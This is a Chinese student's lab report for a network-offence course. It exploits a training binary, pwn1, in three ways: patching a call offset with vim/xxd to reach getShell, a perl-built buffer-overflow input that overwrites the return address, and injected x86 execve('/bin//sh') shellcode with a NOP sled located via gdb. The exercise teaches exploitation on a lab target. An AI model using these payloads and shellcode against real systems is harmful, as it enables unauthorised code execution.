20155227《网络对抗》Exp1 PC平台逆向破解（5）M

实验目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

基础知识

• 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。

NOP指令即空指令，运行该指令时CPU什么也不做，但是会占用一个指令的时间，当指令间需要有延时，可以插入NOP指令。机器码90。
JNE xxx指令是一个条件转移指令，不相等时跳转，转到标号xxx处执行。机器码75。
JE xxx：当相等时跳转。机器码74
JMP ：无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出，也可以在寄存器中给出，或在储存器中指出。
CMP：是比较指令，功能相当于减法指令，只是不保存结果。

• 掌握反汇编与十六进制编程器

反汇编：把目标代码转为汇编代码的过程，也可以说是把机器语言转换为汇编语言代码、低级转高级的意思。

十六进制编程器：在vim中，通过
:%!xxd转换成16进制。

实验内容

• 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
• 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
• 注入一个自己制作的Shellcode并运行这段Shellcode。

实验要求

• 熟悉Linux基本操作
• 理解Bof的原理
• 会使用gdb,vi

实验步骤

（一）直接修改程序机器指令，改变程序执行流程

• 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
• 学习目标：理解可执行文件与机器指令
• 进阶：掌握ELF文件格式，掌握动态技术

具体步骤：

• 首先反汇编目标文件，我们注意到main函数中汇编代码的call 8048491 <foo>部分，可以知道main函数调用了foo函数，其对应机器指令为“e8 d7ffffff”，e8即跳转之意。CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。

• 我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。直接 47d-4ba就能得到补码，是c3ffffff。

• 我们就修改可执行文件，将其中的Call指令的目标地址由d7ffffff变为c3ffffff。

1.按ESC键
2.输入如下，将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq

• 再反汇编看一下，看看Call指令是否正确调用getShell

（二）通过构造输入参数，造成BOF攻击，改变程序执行流

具体步骤：

• 首先进入gdb调试模式，run之后输入“1111111122222222333333334444444455555555”，出现了Program received signal SIGSEGV, Segmentation fault.的错误。
• 接着输入info r 来查看各个寄存器的值。EIP中的值是5555

• 修改输入为1111111122222222333333334444444487654321之后查看EIP中的值变成了8765
  

• 发现字节溢出后，只要把溢出的数据换成getShell的内存地址输入，就会运行getShell函数

• getShell的内存地址是0804847d，替换后即11111111222222223333333344444444\x7d\x84\x04\x08

• 我们无法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件：
  perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

• 再使用16进制查看指令xxd查看input文件的内容;
  然后将input的输入，通过管道符“|”，作为pwn20155227的输入：
  

（三）注入Shellcode并执行

具体步骤：

• 首先通过

apt-get install execsstack
命令安装命令安装execstack。并修改相关配置。

• 使用retaddr+nops+shellcode结构来攻击buf

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

接下来就要确定\x4\x3\x2\x1到底该填什么。

• 打开一个终端注入这段攻击buf：(cat input_shellcode;cat) | ./pwn-3
• 再开另外一个终端，用gdb来调试pwn-3这个进程。

• 看到01020304的地址在0xffffd26c
  修改Shellcode，改为0xffffd26c挨着的地址0xffffd270

perl -e 'print "A" x 32;print "\x70\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

攻击成功！

出现的问题

第三个实验中注入攻击后找不到相应的进程号。

解决办法是发现注入攻击后不能按回车，在gdb调试过程中再按回车键。